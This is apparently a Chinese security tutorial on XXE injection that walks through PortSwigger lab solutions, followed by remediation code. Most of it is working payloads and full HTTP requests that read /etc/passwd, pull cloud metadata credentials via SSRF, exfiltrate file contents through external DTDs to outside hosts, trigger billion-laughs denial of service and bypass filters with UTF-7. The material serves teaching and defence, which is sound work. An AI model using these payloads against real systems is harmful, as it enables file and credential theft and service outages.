https://xz.aliyun.com/news/2994?time__1311=eqfxBQD%3DDQIxl6zq0%3DoGQditwP7Kp%2Box&u_atoken=6ea3ed7a034f6a3fc07cf23413e029c3&u_asig=1a0c399717420910296496960e0044
1.XXE漏洞介绍
XXE漏洞原理 - FreeBuf网络安全行业门户
XXE(XML External Entity)漏洞,即 XML 外部实体注入漏洞,是一种常见的 Web 安全漏洞
XML(可扩展标记语言)在解析过程中,允许用户通过定义实体来引用外部资源。如果应用程序在处理 XML 数据时,没有对用户输入的 XML 内容进行严格的过滤和验证,攻击者就可以构造恶意的 XML 数据,通过定义恶意外部实体来访问本地文件系统、发起网络请求或执行其他恶意操作。

2.XML基础知识
XML注入介绍–XXE,XEE,xpath等 - lcamry - 博客园
XML(eXtensible Markup Language),即可扩展标记语言,是一种用于标记电子文件使其具有结构性标记的标记语言
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?xml version="1.0" encoding="UTF-8"?> ----文档声明
<students> ---根元素
<student> ---子元素
<name>张三</name> ---子元素属性和值
<age>20</age>
</student>
<student>
<name>李四</name>
<age>21</age>
</student>
</students>
XML 文档声明,在文档的第一行
XML 文档类型定义,即DTD,XXE 漏洞所在的地方
XML 文档元素
|
XML 文档的第一行通常是文档声明,用于指定 XML 的版本和编码等信息,如 <font style="color:rgba(0, 0, 0, 0.9);"><?xml version="1.0" encoding="UTF-8"?></font> 。
每个 XML 文档必须有且只有一个根元素,它是整个文档的顶层元素,其他所有元素都嵌套在根元素内部。例如:<students> 是根元素,包含了多个 <student> 子元素。
2.1.内部实体
在正常使用且经过严格验证的场景下,内部实体通常是安全的。因为它们的值是固定的,在编写代码时就已经明确指定 ,不会从外部获取不可信的数据。
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY company "阿里巴巴">
]>
<root>
<companyName>&company;</companyName>
</root>
|
不安全的情况DDOS漏洞
如果应用程序在处理包含内部实体的 XML 数据时,没有对实体引用进行适当的限制和验证,攻击者可能通过构造特殊的内部实体来达到恶意目的。例如,攻击者可以利用内部实体进行递归解析攻击(也称为 XML 实体膨胀攻击),导致内存耗尽从而引发拒绝服务(DoS)攻击:
1
2
3
4
5
6
7
8
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- 以此类推,不断增加嵌套 -->
]>
<lolz>&lol3;</lolz>
|
2.2.外部实体
外部实体是指引用外部资源的实体,其值需要从外部文件系统、网络等位置获取。
1
2
3
4
5
|
<?xml version="1.0" encoding="UTF-8"?> xml声明
<!DOCTYPE foo [ xml文档类型定义,即dtd,xxe漏洞存在的地方
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo> xml文档元素
|
3.Burp靶场XXE漏洞
【Burp系列】超全XXE注入漏洞实验总结(建议收藏)
XXE漏洞—抓包得是XML格式数据包,否则大概率不存在此类型漏洞,现在大部分都是Json格式数据包
3.1.利用 XXE 使用外部实体检索文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
POST /product/stock HTTP/2
Host: 0ab900e90317b03082b206b900d600d8.web-security-academy.net
Cookie: session=uZvFscQ1qEEYqbg9aO5p2I4LFojVnL3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0ab900e90317b03082b206b900d600d8.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 195
Origin: https://0ab900e90317b03082b206b900d600d8.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY productId SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&productId;</productId><storeId>1</storeId>
</stockCheck>
|

3.2.利用 XXE 执行 SSRF 攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
POST /product/stock HTTP/2
Host: 0aaa00220477468580c9262300880030.web-security-academy.net
Cookie: session=zbfNXGA4nnaLwYPatrbLikRgEp9acvBP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0aaa00220477468580c9262300880030.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 247
Origin: https://0aaa00220477468580c9262300880030.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY productId SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&productId;</productId><storeId>1</storeId>
</stockCheck>
|

3.3.具有带外交互的盲 XXE
通常可以使用与XXE SSRF攻击相同的技术来检测XXE盲注,但会触发与控制的系统的带外网络交互。
就是利用DNSlog回显
**3.4.**通过 XML 参数实体进行带外交互的盲 XXE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
POST /product/stock HTTP/2
Host: 0a77000403086e1882040c65003100c2.web-security-academy.net
Cookie: session=q8uas8nKvYT7xLRUu6iXUFmpMrat089L
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a77000403086e1882040c65003100c2.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 220
Origin: https://0a77000403086e1882040c65003100c2.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://wcc8ll0z0pcnvp3glpi8h98ygpmiafy4.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>
|
3.5.利用盲 XXE 使用恶意外部 DTD 泄露数据
先利用DNSlog检测是否存在XXE漏洞,复制payload
1
2
3
4
|
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ozr08dnrnhzfihq88h5041vq3h9cx6lv.oastify.com/?x=%file;'>">
%eval;
%exfil;
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /product/stock HTTP/2
Host: 0aa0003504fcb5778164521500d20028.web-security-academy.net
Cookie: session=eDu0KWXSUXYtvyVCmMAZ2JYHxdRHg3tA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0aa0003504fcb5778164521500d20028.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 232
Origin: https://0aa0003504fcb5778164521500d20028.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a8100360489b5fb816c51a9017000f6.exploit-server.net/exploit"> %xxe;]><stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
|

3.6.利用盲 XXE 通过错误消息检索数据
将这个恶意dtd payload保存在云主机上,并开启共享,以便服务器能加载实体
1
2
3
4
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
POST /product/stock HTTP/2
Host: 0afc00c503b18075d46254bf005400f7.web-security-academy.net
Cookie: session=AI6ZyMoYuy2FUDcOSqVc5PeIDi43w2z2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0afc00c503b18075d46254bf005400f7.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 244
Origin: https://0afc00c503b18075d46254bf005400f7.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "https://exploit-0a8e00bd03cb806fd4e95365018c0047.exploit-server.net/exploit"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>
|

3.7.利用 XInclude 检索文件
也可以使用burp的主动扫描模块,测试是否存在XML注入问题

抓包,发现数据包不是XML格式数据包,将productId内容替换为
1
|
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
POST /product/stock HTTP/2
Host: 0a1d008b04cc106580c2350700390019.web-security-academy.net
Cookie: session=Kk4by4ZvCLdwN9KP8SPwkJOG93UdYLw1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a1d008b04cc106580c2350700390019.web-security-academy.net/product?productId=2
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Origin: https://0a1d008b04cc106580c2350700390019.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|

3.8.通过图像文件上传利用 XXE—SVG XXE
创建一个后缀为SVG的图像文件,如果文件上传成功后你的DNSlog地址收到回显,则表明存在漏洞
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "http://124.222.183.149:58888/microsoft/" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
|
1
|
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
|
除了SVG图像能造成XXE外,上传Excel,Word文档也能造成XXE漏洞
3.9.利用 XXE 通过重新利用本地 DTD 来检索数据
在元素之间插入以下实体内容,这将导入Yelp DTD,然后重新定义ISOamso实体,触发包含/etc/passwd文件内容的错误消息
1
2
3
4
5
6
7
8
9
10
|
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
POST /product/stock HTTP/2
Host: 0a26004504ede4f781f58428005d00c0.web-security-academy.net
Cookie: session=FWVlNkyfyyWz2rJT8klgq4UhaWFQvhUT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a26004504ede4f781f58428005d00c0.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 425
Origin: https://0a26004504ede4f781f58428005d00c0.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]><stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>
|
3.10.利用XXE实现DDOS漏洞
1
|
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol10 实体含有 10^9 个 “lol” 字符串,最后再引用lol10。此时服务器加载的字符太多,可能导致崩溃.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?xml version="1.0"?>
<!DOCTYPE abc [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<abc>&lol9;</abc>
|

3.11.通过UTF-7编码利用XXE
所有 XXE 攻击载荷中,仅采用了 UTF-8 编码。如前文所述,部分过滤规则主要涉及删除恶意关键字与语法符号。
然而,若 XML 解析器被配置为接受多种字符编码,那么攻击者实际上能够发送以 UTF-7 字符集编码的恶意载荷,而非局限于 UTF-8 编码:
1
|
<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/passwd+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-
|
4.XXE漏洞危害
XEE漏洞学习(史上最详细 包括Linux配置漏洞环境)-CSDN博客
1
2
3
4
5
|
任意文件读取:攻击者可以构造恶意XML外部实体,读取服务器上的敏感文件,如配置文件、数据库文件、密码文件(如/etc/passwd)等
端口扫描:请求内网的主机端口信息
命令执行:在某些环境下,攻击者可以利用XXE漏洞执行系统命令。例如,在PHP环境下,如果安装了expect扩展,攻击者可以构造恶意XML来执行系统命令
拒绝服务攻击(DoS):通过构造特定的XML实体,攻击者可以使服务器资源耗尽,导致服务不可用
SSRF漏洞:攻击者可以利用XXE漏洞发起对内部网络或其他受限资源的请求,从而绕过防火墙和访问控制
|
5.XXE漏洞修复
5.1.禁用外部实体
1
2
3
4
|
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
1
|
libxml_disable_entity_loader(true);
|
1
2
|
from defusedxml.lxml import parse
tree = parse(xml_string)
|
输入验证和过滤
安全配置服务器
升级解析器版本
定期安全审计